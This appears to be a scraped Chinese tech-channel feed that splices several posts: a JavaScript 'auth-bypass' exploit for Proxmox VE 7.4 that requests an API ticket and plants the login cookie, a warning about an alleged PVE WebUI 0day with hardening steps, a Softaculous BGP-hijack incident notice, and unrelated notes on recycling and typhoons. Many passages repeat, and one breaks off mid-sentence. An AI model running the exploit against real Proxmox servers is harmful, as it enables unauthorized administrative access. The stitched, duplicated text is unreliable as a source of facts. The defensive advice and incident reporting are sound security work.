Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”
无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！
Exp (.js) 正文:
观后感：不是，你就这么水灵灵的拿到 login cookie 了？
https://fixupx.com/nebusecurity/status/2094719919539793989
无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！
Exp (.js) 正文:
// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
const form = new URLSearchParams({
username: "root@pam",
password: "root@pam",
"tfa-challenge": "NEBUSEC-CHALLENGE",
});
const loginResponse = await fetch("/api2/json/access/ticket", {
method: "POST",
credentials: "omit",
headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
body: form,
});
const loginBody = await loginResponse.json();
document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
location.reload()
})();观后感：不是，你就这么水灵灵的拿到 login cookie 了？
https://fixupx.com/nebusecurity/status/2094719919539793989
草，原来 9.1 一堆机器官方定价直接涨了......
https://www.ithome.com/0/996/694.htm
https://www.ithome.com/0/996/694.htm
#风险预警
本频道从多信源整理, PVE WebUI 近期极有可能已出现严重 RCE 0day 安全漏洞 (并已出现在野利用报告)，从 PVE7 (已 EOL, 建议立即更新) 到 PVE8 (已知报告版本: 8.0.3 / 8.2 / 8.4) 全系列均已被攻破，可绕过身份验证。
refs: PVE7 report | PVE 8.0.3/8.2/8.4 report
本频道从多信源整理, PVE WebUI 近期极有可能已出现严重 RCE 0day 安全漏洞 (并已出现在野利用报告)，从 PVE7 (已 EOL, 建议立即更新) 到 PVE8 (已知报告版本: 8.0.3 / 8.2 / 8.4) 全系列均已被攻破，可绕过身份验证。
操作建议:
1) 立即停止将任何 PVE WebUI / WebAPI (8006) / SSH 直接暴露公网；
2) 如一定需要暴露公网，也尽可能利用 VPN (e.g. Tailscale) / SD-WAN / Cloudflare Zero-Trust (One) 为 PVE WebUI 增加二层防护 (或者最简单的: 加个 basic auth)；在 sshd config 中也禁止使用密码登录；
3) 哪怕 PVE 仅部署在内网，也请配置好 IP-ACL Rule；
4) PVE <=8 已正式 EOL，无论如何都请更新到 PVE 9；
5) 非常建议 PVE9 也采取以上安全措施建议；
6) 近期在运维时需要投入更多精力关注 PVE 相关补丁更新。
refs: PVE7 report | PVE 8.0.3/8.2/8.4 report
https://www.virtualizor.com/blog/security-incident-bgp-hijacking/
2026年8月28日至30日期间，Softaculous 位于 Hetzner 的基础设施遭遇了严重的 BGP 劫持攻击，攻击者将大量官方流量重定向至其控制的恶意服务器，并利用骗取的合法 TLS 证书实现了无安全警告的拦截，这导致部分 Virtualizor 服务器在更新时被植入了恶意软件包，且在此期间登录客户区或操作账单的用户也面临着账户密码泄露的风险。
目前网络路由已全面恢复正常，官方紧急呼吁所有系统管理员立即排查服务器中是否存在特定的入侵指标（如
2026年8月28日至30日期间，Softaculous 位于 Hetzner 的基础设施遭遇了严重的 BGP 劫持攻击，攻击者将大量官方流量重定向至其控制的恶意服务器，并利用骗取的合法 TLS 证书实现了无安全警告的拦截，这导致部分 Virtualizor 服务器在更新时被植入了恶意软件包，且在此期间登录客户区或操作账单的用户也面临着账户密码泄露的风险。
目前网络路由已全面恢复正常，官方紧急呼吁所有系统管理员立即排查服务器中是否存在特定的入侵指标（如
java-jre-update.service 文件），并立刻重置客户区密码、API 密钥以及审计服务器安全以消除隐患。回收价202=2块钱现金+200蚂蚁森林能量
https://www.bilibili.com/video/BV1enhA65ExJ/
https://www.bilibili.com/video/BV1enhA65ExJ/
据中央气象台最新消息，台风“沙德尔”（台风级）的中心已于今天8时05分前后在浙江台州玉环市坎门街道沿海登陆，登陆时中心附近最大风力有12级（35米/秒），中心最低气压975百帕。
和 07-11 登陆的“巴威”、08-09 登陆的“白海豚”的查重率好高。
这两个月有人在玉环市坎门街道渡劫吗，暑假华东的 3 个台风都在这儿登陆，登陆风速还都至少是台风级。
